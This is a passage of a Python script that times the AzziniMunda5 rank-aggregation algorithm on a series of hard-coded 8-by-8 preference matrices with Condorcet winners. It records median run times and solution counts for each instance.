alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 116, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1015,1013,981,978,1012,1006,984], [986,0,1005,1013,999,1027,995,1001], [988,996,0,982,993,999,996,986], [1020,988,1019,0,1019,1011,1015,1014], [1023,1002,1008,982,0,992,1007,1002], [989,974,1002,990,1009,0,1012,951], [995,1006,1005,986,994,989,0,941], [1017,1000,1015,987,999,1050,1060,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 117, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1027,1022,948,1076,956,967,991], [974,0,1013,938,1015,954,1021,934], [979,988,0,970,1030,955,998,950], [1053,1063,1031,0,1078,1041,1006,998], [925,986,971,923,0,989,968,903], [1045,1047,1046,960,1012,0,1004,1042], [1034,980,1003,995,1033,997,0,955], [1010,1067,1051,1003,1098,959,1046,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 118, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1181,944,1061,899,1103,1004,931], [820,0,1095,926,773,1011,1100,1205], [1057,906,0,833,753,1094,970,958], [940,1075,1168,0,1037,1312,1135,1282], [1102,1228,1248,964,0,1281,1259,972], [898,990,907,689,720,0,964,1076], [997,901,1031,866,742,1037,0,935], [1070,796,1043,719,1029,925,1066,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 119, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1030,1058,1058,1054,981,1059,1026], [971,0,1071,1040,1037,968,994,984], [943,930,0,992,1035,946,987,960], [943,961,1009,0,1021,938,957,946], [947,964,966,980,0,947,972,953], [1020,1033,1055,1063,1054,0,1038,993], [942,1007,1014,1044,1029,963,0,968], [975,1017,1041,1055,1048,1008,1033,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 120, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1025,1020,985,1053,1060,1017,1044], [976,0,1008,950,1010,963,938,1011], [981,993,0,1004,1009,1024,1008,1033], [1016,1051,997,0,1036,1007,995,1045], [948,991,992,965,0,1000,961,994], [941,1038,977,994,1001,0,954,996], [984,1063,993,1006,1040,1047,0,1042], [957,990,968,956,1007,1005,959,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 121, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,963,985,974,960,1045,976,960], [1038,0,988,970,987,989,964,1013], [1016,1013,0,963,953,1043,961,978], [1027,1031,1038,0,999,1024,1045,1015], [1041,1014,1048,1002,0,994,1099,1065], [956,1012,958,977,1007,0,979,984], [1025,1037,1040,956,902,1022,0,1045], [1041,988,1023,986,936,1017,956,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 122, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1023,1016,1005,975,997,1011,1009], [978,0,963,986,955,962,994,939], [985,1038,0,1042,1018,1000,1032,982], [996,1015,959,0,996,988,1013,969], [1026,1046,983,1005,0,1020,990,1017], [1004,1039,1001,1013,981,0,1034,978], [990,1007,969,988,1011,967,0,954], [992,1062,1019,1032,984,1023,1047,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 123, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,990,1020,1056,1002,903,973,984], [1011,0,1070,1067,1037,1003,997,1018], [981,931,0,997,951,913,911,894], [945,934,1004,0,981,938,961,967], [999,964,1050,1020,0,908,918,965], [1098,998,1088,1063,1093,0,1010,1076], [1028,1004,1090,1040,1083,991,0,1037], [1017,983,1107,1034,1036,925,964,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 124, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,943,980,1224,943,850,1004,957], [1058,0,1095,1080,812,972,1136,953], [1021,906,0,1142,1064,987,898,1035], [777,921,859,0,801,903,833,880], [1058,1189,937,1200,0,1117,1047,1101], [1151,1029,1014,1098,884,0,1110,995], [997,865,1103,1168,954,891,0,972], [1044,1048,966,1121,900,1006,1029,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 125, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1066,934,943,987,1039,1074,930], [935,0,838,816,840,958,829,898], [1067,1163,0,974,1032,1109,1065,1109], [1058,1185,1027,0,1003,1017,959,1016], [1014,1161,969,998,0,1025,1031,989], [962,1043,892,984,976,0,1061,965], [927,1172,936,1042,970,940,0,962], [1071,1103,892,985,1012,1036,1039,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 126, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1038,1004,991,1048,1012,1053,1047], [963,0,959,968,1021,971,949,923], [997,1042,0,971,1061,899,1041,975], [1010,1033,1030,0,1040,956,982,955], [953,980,940,961,0,953,937,942], [989,1030,1102,1045,1048,0,1038,985], [948,1052,960,1019,1064,963,0,975], [954,1078,1026,1046,1059,1016,1026,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 127, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,978,1004,1023,1035,968,977,978], [1023,0,1045,1050,1031,985,1020,1009], [997,956,0,1008,1023,1003,969,994], [978,951,993,0,991,973,952,990], [966,970,978,1010,0,963,980,1005], [1033,1016,998,1028,1038,0,1008,1020], [1024,981,1032,1049,1021,993,0,997], [1023,992,1007,1011,996,981,1004,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 128, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1063,1024,992,995,971,987,991], [938,0,988,1018,974,985,992,973], [977,1013,0,1016,975,1015,1046,977], [1009,983,985,0,1010,1000,1026,1009], [1006,1027,1026,991,0,1040,1039,1014], [1030,1016,986,1001,961,0,1044,993], [1014,1009,955,975,962,957,0,973], [1010,1028,1024,992,987,1008,1028,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 129, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,974,999,996,929,975,979,957], [1027,0,999,1028,1008,999,1026,1014], [1002,1002,0,1020,1020,996,1006,1013], [1005,973,981,0,987,968,1043,968], [1072,993,981,1014,0,1039,1006,1004], [1026,1002,1005,1033,962,0,1033,998], [1022,975,995,958,995,968,0,989], [1044,987,988,1033,997,1003,1012,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 130, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,990,1062,1011,1036,1045,1021,1019], [1011,0,1035,976,1036,985,986,1047], [939,966,0,935,1001,1013,1028,982], [990,1025,1066,0,1055,1036,984,1090], [965,965,1000,946,0,988,972,1015], [956,1016,988,965,1013,0,991,1061], [980,1015,973,1017,1029,1010,0,1017], [982,954,1019,911,986,940,984,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 131, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1020,967,1020,1002,1031,1022,1003], [981,0,996,1033,973,989,977,967], [1034,1005,0,1030,997,1040,1029,988], [981,968,971,0,977,974,993,1011], [999,1028,1004,1024,0,1012,1018,1030], [970,1012,961,1027,989,0,982,981], [979,1024,972,1008,983,1019,0,982], [998,1034,1013,990,971,1020,1019,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 132, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,979,1055,958,941,974,935,884], [1022,0,1023,943,889,923,987,926], [946,978,0,920,891,912,966,949], [1043,1058,1081,0,995,1030,1051,1006], [1060,1112,1110,1006,0,982,1019,1111], [1027,1078,1089,971,1019,0,1045,988], [1066,1014,1035,950,982,956,0,956], [1117,1075,1052,995,890,1013,1045,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 133, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1104,999,1032,1005,1002,937,1063], [897,0,987,1008,951,945,919,916], [1002,1014,0,1036,959,1009,1061,1045], [969,993,965,0,956,940,920,1045], [996,1050,1042,1045,0,998,1074,1006], [999,1056,992,1061,1003,0,936,1020], [1064,1082,940,1081,927,1065,0,1051], [938,1085,956,956,995,981,950,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 134, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1013,1035,1049,1013,1012,1070,991], [988,0,971,1023,1020,1010,1036,936], [966,1030,0,1027,1032,980,1041,949], [952,978,974,0,998,951,1032,966], [988,981,969,1003,0,991,1062,978], [989,991,1021,1050,1010,0,1050,1015], [931,965,960,969,939,951,0,912], [1010,1065,1052,1035,1023,986,1089,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 135, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1021,1025,1012,991,1011,1010,1018], [980,0,1011,987,988,968,968,998], [976,990,0,1000,998,983,981,982], [989,1014,1001,0,973,974,1001,1028], [1010,1013,1003,1028,0,979,1007,996], [990,1033,1018,1027,1022,0,1025,1006], [991,1033,1020,1000,994,976,0,991], [983,1003,1019,973,1005,995,1010,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 136, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,978,996,1039,1030,982,1016,1017], [1023,0,1053,1009,1037,1029,1028,985], [1005,948,0,1016,982,982,974,993], [962,992,985,0,1019,978,1010,994], [971,964,1019,982,0,1017,1050,1000], [1019,972,1019,1023,984,0,1066,1002], [985,973,1027,991,951,935,0,980], [984,1016,1008,1007,1001,999,1021,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 137, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1030,994,962,971,999,984,1045], [971,0,963,1018,975,994,983,967], [1007,1038,0,961,1043,1086,1028,1062], [1039,983,1040,0,1041,1002,1032,1016], [1030,1026,958,960,0,1014,1006,1037], [1002,1007,915,999,987,0,1072,1020], [1017,1018,973,969,995,929,0,1025], [956,1034,939,985,964,981,976,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 138, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,882,1019,985,971,1027,977,998], [1119,0,1073,1047,1005,1012,984,966], [982,928,0,939,981,1004,916,926], [1016,954,1062,0,1000,1072,1001,1042], [1030,996,1020,1001,0,1137,1050,957], [974,989,997,929,864,0,1029,921], [1024,1017,1085,1000,951,972,0,952], [1003,1035,1075,959,1044,1080,1049,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 139, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,991,1042,1000,938,960,938,994], [1010,0,1016,986,961,972,977,1015], [959,985,0,974,954,982,923,961], [1001,1015,1027,0,1008,1001,981,1020], [1063,1040,1047,993,0,983,1038,1005], [1041,1029,1019,1000,1018,0,962,996], [1063,1024,1078,1020,963,1039,0,1021], [1007,986,1040,981,996,1005,980,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 140, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,977,1000,1043,1044,1022,976,975], [1024,0,1025,1020,994,1001,989,1069], [1001,976,0,974,1017,994,983,1015], [958,981,1027,0,1027,1028,1004,1013], [957,1007,984,974,0,1051,999,1007], [979,1000,1007,973,950,0,993,1033], [1025,1012,1018,997,1002,1008,0,1081], [1026,932,986,988,994,968,920,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 141, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,976,982,987,950,982,987,1010], [1025,0,962,993,962,962,956,984], [1019,1039,0,1048,974,996,975,976], [1014,1008,953,0,933,932,941,986], [1051,1039,1027,1068,0,955,1047,1003], [1019,1039,1005,1069,1046,0,999,1031], [1014,1045,1026,1060,954,1002,0,1003], [991,1017,1025,1015,998,970,998,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 142, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1111,1044,866,1102,952,1006,947], [890,0,819,1007,879,1002,887,842], [957,1182,0,983,959,1057,922,1019], [1135,994,1018,0,937,1079,930,1037], [899,1122,1042,1064,0,976,992,1054], [1049,999,944,922,1025,0,996,1001], [995,1114,1079,1071,1009,1005,0,1109], [1054,1159,982,964,947,1000,892,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 143, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,990,983,1014,1001,975,973,1017], [1011,0,1013,969,972,992,993,972], [1018,988,0,1001,974,977,945,965], [987,1032,1000,0,979,1004,979,974], [1000,1029,1027,1022,0,1006,995,988], [1026,1009,1024,997,995,0,1005,992], [1028,1008,1056,1022,1006,996,0,1005], [984,1029,1036,1027,1013,1009,996,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 144, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1006,971,1011,1019,1001,1022,1028], [995,0,975,955,935,955,987,972], [1030,1026,0,1034,1047,1012,1026,983], [990,1046,967,0,1032,1021,1024,1034], [982,1066,954,969,0,1036,997,976], [1000,1046,989,980,965,0,1034,1051], [979,1014,975,977,1004,967,0,1023], [973,1029,1018,967,1025,950,978,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 145, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1039,1011,1031,977,1022,1029,1040], [962,0,969,965,981,1065,1004,1009], [990,1032,0,1018,975,1053,1006,1077], [970,1036,983,0,990,1018,984,1012], [1024,1020,1026,1011,0,996,1002,1030], [979,936,948,983,1005,0,991,968], [972,997,995,1017,999,1010,0,1035], [961,992,924,989,971,1033,966,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 146, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1023,1052,1001,1009,1019,1029,994], [978,0,1025,971,978,983,1021,978], [949,976,0,966,975,968,989,961], [1000,1030,1035,0,1028,1026,1056,1010], [992,1023,1026,973,0,1031,1006,1007], [982,1018,1033,975,970,0,993,982], [972,980,1012,945,995,1008,0,996], [1007,1023,1040,991,994,1019,1005,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 147, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1024,1012,821,1026,958,944,1104], [977,0,1048,970,1042,1036,1091,1119], [989,953,0,939,1005,937,910,1006], [1180,1031,1062,0,1016,1064,943,1108], [975,959,996,985,0,1015,962,1075], [1043,965,1064,937,986,0,1042,1186], [1057,910,1091,1058,1039,959,0,1142], [897,882,995,893,926,815,859,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 148, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1031,1006,980,1031,1052,1006,994], [970,0,982,977,981,1004,949,998], [995,1019,0,991,1012,1059,1019,998], [1021,1024,1010,0,1021,1053,990,997], [970,1020,989,980,0,1003,987,987], [949,997,942,948,998,0,963,1007], [995,1052,982,1011,1014,1038,0,1022], [1007,1003,1003,1004,1014,994,979,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 149, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1037,982,1038,1003,1044,1038,1041], [964,0,985,986,970,976,994,986], [1019,1016,0,1039,971,1013,1038,998], [963,1015,962,0,974,943,969,988], [998,1031,1030,1027,0,973,1025,1007], [957,1025,988,1058,1028,0,995,995], [963,1007,963,1032,976,1006,0,980], [960,1015,1003,1013,994,1006,1021,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 150, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1022,1000,996,999,985,1031,1003], [979,0,1004,988,999,971,979,1020], [1001,997,0,1024,959,1022,1033,963], [1005,1013,977,0,986,982,1026,964], [1002,1002,1042,1015,0,1005,1031,998], [1016,1030,979,1019,996,0,1045,968], [970,1022,968,975,970,956,0,947], [998,981,1038,1037,1003,1033,1054,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 151, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,966,987,985,999,964,1008,996], [1035,0,992,1011,1013,1039,1023,1008], [1014,1009,0,1007,1018,997,997,989], [1016,990,994,0,1015,975,1012,985], [1002,988,983,986,0,969,1030,970], [1037,962,1004,1026,1032,0,1041,1011], [993,978,1004,989,971,960,0,995], [1005,993,1012,1016,1031,990,1006,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 152, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1002,1058,1013,1049,1002,957,989], [999,0,1122,986,1043,993,1012,1028], [943,879,0,920,966,942,906,952], [988,1015,1081,0,1055,964,988,1010], [952,958,1035,946,0,934,942,975], [999,1008,1059,1037,1067,0,1061,1046], [1044,989,1095,1013,1059,940,0,1018], [1012,973,1049,991,1026,955,983,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 153, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1002,1011,1051,994,1002,1007,1008], [999,0,975,1015,967,1003,970,986], [990,1026,0,1008,973,990,1020,990], [950,986,993,0,1000,991,963,981], [1007,1034,1028,1001,0,1001,997,1001], [999,998,1011,1010,1000,0,988,995], [994,1031,981,1038,1004,1013,0,998], [993,1015,1011,1020,1000,1006,1003,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 154, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1186,1051,1065,1023,1129,998,1152], [815,0,878,913,883,915,951,1020], [950,1123,0,1062,1020,1006,914,1016], [936,1088,939,0,901,936,984,964], [978,1118,981,1100,0,958,972,1084], [872,1086,995,1065,1043,0,943,1132], [1003,1050,1087,1017,1029,1058,0,975], [849,981,985,1037,917,869,1026,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 155, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1068,963,976,973,1019,1043,990], [933,0,941,956,1011,975,988,1010], [1038,1060,0,990,1019,990,1038,1029], [1025,1045,1011,0,988,1017,1014,1035], 